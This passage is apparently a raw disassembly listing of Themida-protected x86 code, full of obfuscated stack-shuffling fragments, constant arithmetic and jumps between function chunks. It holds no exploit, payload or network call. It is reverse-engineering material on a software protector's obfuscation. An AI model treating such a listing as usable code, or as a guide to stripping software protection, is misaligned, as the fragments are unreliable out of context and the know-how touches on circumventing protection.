; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565DAB: ; CODE XREF: Themida_:005622E4j
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], esp
push ecx
jmp loc_5660BA
; =============== S U B R O U T I N E =======================================
sub_565DC4 proc near ; CODE XREF: sub_56755A+8C32j
var_C = dword ptr -0Ch
; FUNCTION CHUNK AT 0055DBEF SIZE 00000013 BYTES
push ebx
jmp loc_55DBEF
sub_565DC4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
loc_565DCA: ; CODE XREF: sub_56542E-126Bj
push esp
jmp loc_55B874
; END OF FUNCTION CHUNK FOR sub_56542E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B812
loc_565DD0: ; CODE XREF: sub_56B812-2CDFj
sub edi, ebp
mov ebp, [esp+0Ch+var_C]
add esp, 4
push edi
pop edx
mov edi, [esp+8+var_8]
sub esp, 4
mov [esp+0Ch+var_C], edi
mov edi, esp
jmp sub_56885A
; END OF FUNCTION CHUNK FOR sub_56B812
; ---------------------------------------------------------------------------
push 17EEh
jmp loc_56E392
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565DFA: ; CODE XREF: sub_56755A+72DEj
push [esp+4+var_4]
pop ebp
push ecx
jmp loc_56DABB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_565E04: ; CODE XREF: sub_566504+58A8j
shr ebx, 1
push esi
mov esi, 15BC6FE0h
shr esi, 5
jmp loc_5703ED
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_565E14: ; CODE XREF: Themida_:0055BC6Dj
pop esp
mov ax, [esp]
push 6542h
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push esi
jmp loc_569FD6
; ---------------------------------------------------------------------------
loc_565E38: ; CODE XREF: Themida_:00566B58j
add dword ptr [esp+8], 5B013340h
pop ebx
jmp loc_56067F
; ---------------------------------------------------------------------------
loc_565E46: ; CODE XREF: Themida_:0056E9FBj
xor esi, [esp]
jmp loc_55C5E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565E4E: ; CODE XREF: sub_56755A+176Bj
pop ecx
add eax, 4AFC71DFh
add eax, 16DE1326h
sub eax, edx
push esi
mov esi, 16DE1326h
sub eax, esi
mov esi, [esp+8+var_8]
add esp, 4
push ecx
mov ecx, 6C5E3567h
not ecx
xor ecx, 0D95DBB47h
sub eax, ecx
pop ecx
push [esp+4+var_4]
pop edx
add esp, 4
mov ecx, [esp+0]
jmp sub_56C024
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 4D48h
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
push edi
mov edi, 4
add eax, edi
pop edi
sub esp, 4
mov [esp], ecx
push edx
mov edx, 5CB605C7h
or edx, 7274522Bh
neg edx
neg edx
sub edx, 73D33642h
jmp loc_56C996
; ---------------------------------------------------------------------------
loc_565ECC: ; CODE XREF: Themida_:00565981j
sub ax, bx
jmp loc_56CDC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D83A
loc_565ED4: ; CODE XREF: sub_56D83A-EB08j
pop ebx
mov eax, [esp+0]
jmp loc_56812B
; END OF FUNCTION CHUNK FOR sub_56D83A
; ---------------------------------------------------------------------------
loc_565EDD: ; CODE XREF: Themida_:0056E7AFj
push 73DBh
mov [esp], edi
jmp loc_5632BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_565EEA: ; CODE XREF: sub_56026A-2E87j
mov ebp, esp
push edx
mov edx, 1463290Fh
dec edx
jmp loc_55EB7D
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565EF8: ; CODE XREF: sub_56755A+957j
add ecx, 4
sub ecx, 4
jmp loc_561718
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565F09: ; CODE XREF: Themida_:0055FB3Cj
push ecx
push edi
push eax
mov eax, 248F5B41h
jmp loc_5651D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_565F16: ; CODE XREF: sub_56B62C-A51Fj
push ax
mov ah, 0C9h
xor bh, ah
jmp loc_55D2AD
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
loc_565F21: ; CODE XREF: Themida_:0056E17Ej
sub esp, 4
mov [esp], ebx
push 79C0h
jmp loc_56C002
; ---------------------------------------------------------------------------
loc_565F31: ; CODE XREF: Themida_:0056A8B0j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5674E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565F3D: ; CODE XREF: sub_56755A-9806j
xor [esp+34h+var_34], edi
xor edi, [esp+34h+var_34]
pop esp
xor bl, dl
mov edx, [esp+30h+var_30]
add esp, 4
push edx
push ecx
mov ch, 7
neg ch
jmp loc_567CE6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56250B
loc_565F5A: ; CODE XREF: sub_56250B-4F89j
pop edi
jmp loc_563EB9
; END OF FUNCTION CHUNK FOR sub_56250B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_565F60: ; CODE XREF: sub_56CEC8-4472j
push edx
jmp loc_5624ED
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565F66: ; CODE XREF: sub_56755A+24BCj
add esp, 4
push 121Ch
mov [esp+34h+var_34], edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
sub edx, ecx
pop ecx
jmp loc_56A135
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565F87: ; CODE XREF: Themida_:0056336Ej
pop edx
push ebx
jmp loc_56CDE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565F8E: ; CODE XREF: sub_56755A-A4CCj
pop ecx
pop [esp+1Ch+var_1C]
jmp loc_55FBCC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_565F97: ; CODE XREF: sub_560CAA-2A58j
xchg ecx, [esp+10h+var_10]
jmp loc_55FD38
; END OF FUNCTION CHUNK FOR sub_560CAA
; =============== S U B R O U T I N E =======================================
sub_565F9F proc near ; CODE XREF: sub_56755A-A7AFj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056829D SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056AA31 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056D5DC SIZE 00000024 BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 73952272h
or ebx, edx
pop edx
push esi
mov esi, 1FD60B2h
push ebp
mov ebp, 0FFFFFFFFh
jmp loc_56829D
sub_565F9F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B5E8
loc_565FC1: ; CODE XREF: sub_56B5E8-4AA6j
pop ebx
add ecx, 4
xchg ecx, [esp+0]
pop esp
jmp loc_563F0B
; END OF FUNCTION CHUNK FOR sub_56B5E8
; ---------------------------------------------------------------------------
loc_565FCE: ; CODE XREF: Themida_:0055C6D9j
mov dl, 7Eh
add cl, dl
jmp loc_5604E3
; ---------------------------------------------------------------------------
loc_565FD7: ; CODE XREF: Themida_:0055EB05j
pop edi
sub esi, ebp
jmp loc_56FBB9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_565FDF: ; CODE XREF: sub_566FBB+3j
mov esi, ebp
mov ebp, [esp-8+arg_4]
jmp loc_56D9B7
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565FE9: ; CODE XREF: sub_56755A+BD4j
add edi, 4
push edx
mov edx, 4
add edi, edx
jmp loc_56E777
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 4D03h
mov [esp], ebp
push esp
pop ebp
sub esp, 4
mov [esp], esi
push ebp
mov ebp, 78E900B8h
jmp loc_563373
; ---------------------------------------------------------------------------
loc_566034: ; CODE XREF: Themida_:0055C19Cj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
mov ecx, 27AF1827h
push edi
mov edi, 688E533Ch
inc edi
add edi, 25F0046Fh
and edi, 66087FB1h
add edi, 39EBC2DDh
jmp loc_55E233
; ---------------------------------------------------------------------------
loc_566067: ; CODE XREF: Themida_:00560C92j
pop esi
jmp loc_563328
; ---------------------------------------------------------------------------
loc_56606D: ; CODE XREF: Themida_:0055E645j
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_56C7B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56607C: ; CODE XREF: sub_56755A+770j
pop eax
add ebx, edi
push edi
mov edi, 499C0D42h
jmp loc_55DCD7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56608A: ; CODE XREF: sub_566504+7DF0j
mov esi, esp
add esi, 4
jmp loc_56A25C
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566097: ; CODE XREF: sub_56755A-BC95j
mov esi, 4
push edi
mov edi, 288635Bh
inc edi
shl edi, 5
xor edi, 11A36D31h
add eax, edi
pop edi
jmp loc_55D35B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5660B4: ; CODE XREF: Themida_:00563845j
pop ebp
jmp loc_56832F
; ---------------------------------------------------------------------------
loc_5660BA: ; CODE XREF: Themida_:00565DBFj
mov ecx, 4
add [esp+4], ecx
mov ecx, [esp]
jmp loc_55C52F
; ---------------------------------------------------------------------------
loc_5660CB: ; CODE XREF: Themida_:0055F2E2j
add esi, ebp
pop ebp
jmp loc_563D50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_5660D3: ; CODE XREF: sub_566FBB-5EDAj
pop esp
mov [esp+0], ebp
jmp loc_56CC71
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_5660DC: ; CODE XREF: sub_565269+696Aj
push 38F92476h
push [esp+0Ch+var_C]
pop edx
add esp, 4
xor edx, 67A03D38h
jmp loc_56047B
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_5660F3: ; CODE XREF: sub_56026A+F978j
mov esp, [esp+10h+var_10]
jmp loc_55C16B
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5660FB: ; CODE XREF: sub_56755A-63DAj
mov [esp+2Ah+var_2C+2], ebx
mov ebx, 4B7F7DD3h
or ebx, 429251B5h
sub ebx, 4BFF7DF3h
sub esi, ebx
pop ebx
push esi
push [esp+2Ah+var_28+2]
pop esi
pop [esp+2Ah+var_2C+2]
jmp loc_567DFB
; ---------------------------------------------------------------------------
loc_566120: ; CODE XREF: sub_56755A+3621j
pop edi
push ebx
mov ebx, 34012DB1h
xchg edx, ebx
not edx
xchg edx, ebx
push esi
push edx
mov edx, 0CBFED24Dh
mov esi, edx
jmp loc_5600A5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564E24
loc_56613B: ; CODE XREF: sub_564E24-471Fj
push 7361h
push esp
pop [esp+0Ch+var_C]
add [esp+8+var_8], 4
mov ebp, [esp+8+var_8]
add esp, 4
jmp sub_560B67
; END OF FUNCTION CHUNK FOR sub_564E24
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
jmp loc_5605F3
; ---------------------------------------------------------------------------
mov cx, [esp]
push 7063h
mov [esp], edi
jmp loc_56A31A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566178: ; CODE XREF: sub_56755A-6390j
mov ebx, [esp+2Eh+var_30+2]
push 0FD3h
mov [esp+32h+var_34+2], esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_55E02A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566196: ; CODE XREF: Themida_:0056C048j
pop ebx
sub al, 52h
jmp loc_564FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56619E: ; CODE XREF: sub_56755A+55B5j
shl edi, 1
neg edi
not edi
inc edi
shr edi, 8
or edi, 56D46147h
add edi, 16164D71h
xor edi, ebp
push [esp+32h+var_34+2]
pop ebp
add esp, 4
and ecx, edi
mov edi, [esp+2Eh+var_30+2]
push eax
mov eax, esp
jmp sub_55DA88
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5661CA: ; CODE XREF: Themida_:0056A54Cj
push dword ptr [esp]
pop edi
push eax
jmp loc_562781
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5661D4: ; CODE XREF: sub_56755A+15EFj
mov ax, word ptr [esp+32h+var_34+2]
push 226Ah
mov [esp+36h+var_38+2], edi
mov edi, esp
push ebp
mov ebp, 4
jmp loc_560073
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5637DB
loc_5661ED: ; CODE XREF: sub_5637DB+5EB0j
xor edi, eax
pop eax
jmp loc_55F4BA
; END OF FUNCTION CHUNK FOR sub_5637DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5661F5: ; CODE XREF: sub_56755A+533Bj
pop esi
sub esi, 7CC70D24h
sub esi, 77A80144h
add esi, 335D36E2h
sub esi, ecx
sub esi, 335D36E2h
jmp loc_568E88
; ---------------------------------------------------------------------------
loc_566215: ; CODE XREF: sub_56755A+3820j
pop edi
add esp, 4
push edx
jmp loc_55C927
; ---------------------------------------------------------------------------
loc_56621F: ; CODE XREF: sub_56755A+470Aj
add ecx, 42C074Ch
jmp loc_560E71
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55BA18
loc_56622A: ; CODE XREF: sub_55BA18+DFB4j
mov ebx, 5ACEDCD8h
sub ecx, 4E611E47h
add ecx, 42EE592Ah
add ecx, ebx
sub ecx, 42EE592Ah
add ecx, 4E611E47h
jmp loc_56A912
; END OF FUNCTION CHUNK FOR sub_55BA18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560483
loc_56624E: ; CODE XREF: sub_560483+2404j
shr ebx, 4
add ebx, 2B1DAF5Fh
sub ebp, ebx
pop ebx
jmp loc_55ED4B
; END OF FUNCTION CHUNK FOR sub_560483
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56625F: ; CODE XREF: sub_56755A-8EEEj
pop [esp+22h+var_24+2]
pop esp
pop [esp+1Ah+var_1C+2]
pop esp
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56626C proc near ; CODE XREF: sub_56755A-9EA2j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561609 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566764 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00567256 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005685AB SIZE 00000013 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov al, 9Bh
and al, 42h
jmp loc_561609
sub_56626C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56627B: ; CODE XREF: sub_56755A-66E6j
pop ebx
sub edx, 654B3386h
sub edx, eax
add edx, 654B3386h
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 7B7257C8h
jmp sub_5644A0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_56E1CA
; ---------------------------------------------------------------------------
loc_5662A3: ; CODE XREF: Themida_:0055FC9Fj
push 121B1FCBh
jmp loc_56F9B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5662AD: ; CODE XREF: sub_56755A+59BCj
pop esp
jmp loc_567CF7
; ---------------------------------------------------------------------------
loc_5662B3: ; CODE XREF: sub_56755A+A06j
pop ebx
mov edx, ebx
mov ebx, [esp-4+arg_0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
jmp loc_56E85C
; ---------------------------------------------------------------------------
loc_5662D1: ; CODE XREF: sub_56755A-3911j
shr ebx, 5
xor ebx, 169BA9F1h
dec ebx
add ebx, 0FFFFFFFFh
add ebx, 0EF39BC16h
push esi
mov esi, 299F2ECDh
sub ecx, esi
pop esi
add ecx, 473D6443h
add ecx, ebx
jmp loc_570026
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5662FA: ; CODE XREF: Themida_:00563C95j
mov eax, [esp]
add esp, 4
xor al, bh
jmp loc_56ACDD
; ---------------------------------------------------------------------------
loc_56630A: ; CODE XREF: Themida_:00565BC6j
pop ecx
add esi, edi
add esi, 60476D2Eh
pop edi
xchg esi, [esp]
pop esp
mov ax, [esp]
push 6DC0h
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
push edx
push edi
jmp loc_56473F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_566332: ; CODE XREF: sub_56AE72-3D4Dj
add ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
mov esp, [esp+0]
add eax, 73520DFh
add eax, 6E6C2DD6h
sub eax, edi
sub eax, 6E6C2DD6h
jmp loc_5668FA
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_566362: ; CODE XREF: sub_570668-DCFCj
and edi, ebx
pop ebx
jmp loc_55D27E
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56636A: ; CODE XREF: sub_56971C-11ACj
mov ecx, esp
push 7A30h
mov [esp+0Ch+var_C], ebp
mov ebp, 527A7E53h
jmp loc_563312
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560FD7
loc_56637E: ; CODE XREF: sub_560FD7+1j
mov bl, 2
add bl, 0C9h
push edx
mov dh, 0B7h
xor bl, dh
pop edx
push 2EC1h
mov [esp+8+var_8], edx
jmp loc_55C8D5
; END OF FUNCTION CHUNK FOR sub_560FD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
loc_566396: ; CODE XREF: sub_56542E+6j
mov esi, 4
jmp loc_56D833
; END OF FUNCTION CHUNK FOR sub_56542E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5663A0: ; CODE XREF: sub_56755A-51F4j
push esi
push 477E4F59h
jmp loc_55D12D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5663AB: ; CODE XREF: Themida_:005700E5j
push 1F2429A1h
pop ecx
jmp loc_56FE31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5663B6: ; CODE XREF: sub_56755A-727Fj
add edi, 32EC16CDh
jmp loc_56F097
; ---------------------------------------------------------------------------
loc_5663C1: ; CODE XREF: sub_56755A-8CE3j
mov edi, esp
add edi, 4
jmp sub_560DA7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_5663CE: ; CODE XREF: sub_5615A9+9346j
not bh
sub esp, 4
mov [esp+8+var_8], edx
mov dh, 0FAh
sub dh, 0ACh
sub esp, 4
mov [esp+0Ch+var_C], ebx
push ecx
mov cl, 9Fh
sub cl, 68h
inc cl
shr cl, 3
jmp sub_561ED8
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DE37
loc_5663F4: ; CODE XREF: sub_55DE37+A6FAj
pop esi
jmp loc_56F1E2
; END OF FUNCTION CHUNK FOR sub_55DE37
; ---------------------------------------------------------------------------
loc_5663FA: ; CODE XREF: Themida_:0056D042j
push edx
mov edx, 21710B5h
add ecx, 6120270h
jmp loc_560192
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56640B: ; CODE XREF: sub_56755A-B631j
mov ebp, [esp+12h+var_14+2]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 22865526h
jmp loc_567176
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_566428: ; CODE XREF: sub_566504-33F7j
push esp
push dword ptr [esp+0]
jmp loc_563331
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_566431: ; CODE XREF: Themida_:005696D1j
push esi
mov esi, 23E21C7Fh
dec esi
xor esi, 666E4F3Ah
sub esi, 0CA34DC6Dh
or ecx, esi
jmp loc_562C04
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56644B: ; CODE XREF: sub_56755A+325j
add edi, 4
add edi, 4
jmp sub_56AC81
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566459: ; CODE XREF: Themida_:0056B201j
sub ecx, 9812D21h
pop edx
pop ebp
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
cmp cx, ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_56647A: ; CODE XREF: sub_562C5D-45E2j
push eax
mov ah, 0C8h
jmp loc_5664B6
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566482: ; CODE XREF: sub_56755A+5AE2j
mov esp, [esp+16h+var_18+2]
add edx, 4
sub esp, 4
mov [esp+1Ah+var_1C+2], edi
push 4
pop edi
add edx, edi
pop edi
xor edx, [esp+16h+var_18+2]
xor [esp+16h+var_18+2], edx
xor edx, [esp+16h+var_18+2]
jmp loc_56C810
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_5664A8 proc near ; CODE XREF: sub_566FBB+31D3j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055EA6A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056BEAB SIZE 00000021 BYTES
push ebx
mov ebx, 7DEE46A0h
xor ebp, ebx
pop ebx
jmp loc_56BEAB
sub_5664A8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_5664B6: ; CODE XREF: sub_562C5D+3820j
or ah, 0FAh
xor ah, 89h
jmp loc_56EB2C
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
loc_5664C1: ; CODE XREF: Themida_:0055BC1Fj
push dword ptr [esp]
jmp loc_568C7D
; ---------------------------------------------------------------------------
loc_5664C9: ; CODE XREF: Themida_:00561E67j
sub dl, 0D4h
jmp loc_56C1A1
; ---------------------------------------------------------------------------
loc_5664D1: ; CODE XREF: Themida_:00564E05j
push ecx
mov ecx, 6A5E4797h
xor ecx, 792101E5h
jmp loc_55E5BD
; ---------------------------------------------------------------------------
loc_5664E2: ; CODE XREF: Themida_:0057050Dj
add [esp+4], edi
pop edi
pop ecx
sub esp, 4
mov [esp], edx
mov edx, 30182A5Ch
push esi
mov esi, 19FE3494h
and esi, 757B034Dh
jmp loc_56A413
; =============== S U B R O U T I N E =======================================
sub_566504 proc near ; CODE XREF: sub_562F62-6A3Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 0055B8D1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055CAD8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055DCA5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055E64A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055E6FA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00560290 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561DB0 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00563108 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563331 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563984 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005644FD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005656F3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00565E04 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056608A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566428 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005668C1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005672B2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056866B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A25C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056A352 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ABB1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BD8E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056DF7B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056E2EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056EEFE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005703ED SIZE 0000000B BYTES
push ebp
mov ebp, 0DE40245Ah
sub edi, ebp
jmp loc_55E64A
sub_566504 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_56DD71
; ---------------------------------------------------------------------------
loc_56651A: ; CODE XREF: Themida_:0056E772j
add eax, 6ED80D82h
xor eax, 55C55C73h
and eax, 0F733A56h
add eax, 563E13A3h
jmp loc_565649
; ---------------------------------------------------------------------------
loc_566533: ; CODE XREF: Themida_:005655F1j
push 211Bh
mov [esp], ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_55D46D
; ---------------------------------------------------------------------------
loc_566551: ; CODE XREF: Themida_:0056068Ej
add esp, 4
jmp loc_56958B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_56655C: ; CODE XREF: sub_56C86A+23C5j
mov [esp+4+var_4], ebx
jmp loc_5618C1
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
loc_566564: ; CODE XREF: Themida_:0056F9BBj
push 45B2h
mov [esp], edi
mov edi, 0A2A0282h
add edi, 72700369h
jmp loc_56FD44
; =============== S U B R O U T I N E =======================================
sub_56657C proc near ; CODE XREF: sub_56EBD2-F394j
push ebx
jmp loc_56822D
sub_56657C endp
; ---------------------------------------------------------------------------
loc_566582: ; CODE XREF: Themida_:005611D5j
add esi, ebp
pop ebp
xchg esi, [esp]
mov esp, [esp]
jmp loc_564ABF
; ---------------------------------------------------------------------------
loc_566590: ; CODE XREF: Themida_:0055BA67j
push edi
jmp loc_56DAE9
; ---------------------------------------------------------------------------
loc_566596: ; CODE XREF: Themida_:0055D8CAj
mov ecx, 13AA05A3h
push ebp
mov ebp, 7A18313Ah
or ebp, 265B1119h
sub ebp, 67BE431Eh
jmp loc_55F914
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_5665B2: ; CODE XREF: sub_55D71E+11EACj
pop esp
push 5050h
mov [esp+0], ebx
push eax
jmp loc_56C80A
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_5665C1: ; CODE XREF: sub_56F7FC-546Dj
push [esp-4+arg_0]
pop ecx
add esp, 4
jmp loc_560CBD
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE26
loc_5665D0: ; CODE XREF: sub_56EE26+3j
push edx
jmp loc_56A04F
; END OF FUNCTION CHUNK FOR sub_56EE26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5665D6: ; CODE XREF: sub_56755A+1D22j
